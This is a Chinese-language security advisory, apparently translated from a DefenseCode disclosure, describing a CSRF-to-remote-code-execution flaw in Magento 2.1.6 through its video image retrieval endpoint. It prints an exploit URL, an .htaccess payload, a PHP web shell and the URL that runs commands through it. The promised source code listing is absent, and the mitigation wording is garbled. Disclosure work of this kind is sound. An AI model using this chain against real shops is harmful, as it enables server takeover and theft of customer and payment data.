在Magento社区版的安全审计期间,我们发现存在着一个跨站请求伪造漏洞(CSRF)并且有可能导致远程代码执行,从而完成系统的控制,这可能导致社区账号密码和敏感客户信息数据库(例如存储的信用卡号码和其他支付信息)泄露的高风险漏洞,而且这个漏洞影响Magento社区版2.16和2.16以下的版本。
Magento是一个开源的电子商务平台,为在线商家提供灵活的购物车系统,使商家可以容易的控制其在线商店的外观,内容和功能。Magento提供强大的营销,搜索引擎优化和目录管理工具。它是领先的企业级电子商务平台,拥有超过20万个在线零售商。
通过将请求方法从POST
更改为GET
,因为缺少用作CSRF令牌的form_key参数会被忽略,从而实现跨站点请求伪造(CSRF)攻击。攻击可以像电子邮件或公共留言板中的<img src =...
一样简单,如果用户当前登录到Magento,它将自动触发任意文件上传。攻击者也可以使用社会工程诱使用户来打开CSRF链接。
防御方法:CSRF攻击向量可以通过默认启用的选项将密钥添加到URL来缓解。
利用此漏洞不需使用任何Magento
管理面板用户,也无需分配账号和权限就可以用administrative
管理访问权限来利用此漏洞,从而访问远程映像检索功能。因此,获得低权限访问就可以使攻击者能够破坏整个系统或数据库(例如遍历到/app/etc/env.php
以获取数据库密码)。
将Vimeo视频内容添加到新产品或现有产品时,应用程序将使用POST
请求自动检索视频的预览图像,获取远程图像URL参数。当请求方法更改为GET
,那么请求发送变成如下:
http://192.168.1.10/magento2/admin_1bcbxa/product_video/product_gallery/retrieveImage/? remote_image=https://i.vimeocdn.com/video/438193448_640.jpg
如果URL指向无效图像(例如,PHP文件),则应用程序将响应:
{"error":"Disallowed file type.","errorcode":0}
但是,不管应用程序如何保存文件来进行验证图像,这个文件都会被下载,而且如果验证失败,也不会将其删除。该文件将保存到以下位置:
/pub/media/tmp/catalog/product/<X>/<Y>/<original filename>
其中X和Y是文件名的前两个字符(例如,如果文件名为picture.jpg,路径将是/p/i/picture.jpg
)。此行为允许使用PHP脚本远程代码执行或者插入存储型跨站脚本或恶意软件托管。
要实现远程代码执行这个漏洞,要下载两个文件。一个是.htaccess
文件,它可以在下载目录中启用PHP执行,另一个是执行的PHP脚本。由于这些文件需要保存在同一个目录下,所以PHP脚本文件名应该以“.h
”(但不是“.ht
”!)开头,因此它将被放在/pub/media/tmp/catalog/product/_/h/
(‘.
’会被替换为’_
‘) 。根据服务器配置,.htaccess
文件可以很简单获得:
php_flag engine 1
PHP脚本的概念证明是:
<?php echo shell_exec($_GET['cmd']); ?>
并访问为:
http://192.168.1.10/magento2/pub/media/tmp/catalog/product/_/h/.hshell.php?cmd=whoami
Magento源代码分析也证实了这个漏洞。下面是RetrieveImage.php中有问题的函数:
尚未解决最新版本中报告的安全问题。强烈建议所有用户强制使用“添加密文密钥到URL”,以减轻CSRF攻击向量。为防止通过任意文件上传远程代码执行,应将服务器配置为不受影响目录中的.htaccess
文件。
由Bosko Stankovic发现([email protected])。
公开时间表
11/18/2016供应商通过BugCrowd平台联系
11/18/2016供应商回应意识到问题
04/11/2017供应商再次联系没有回应
04/13/2017咨询向公众公布
*作者:DefenseCode,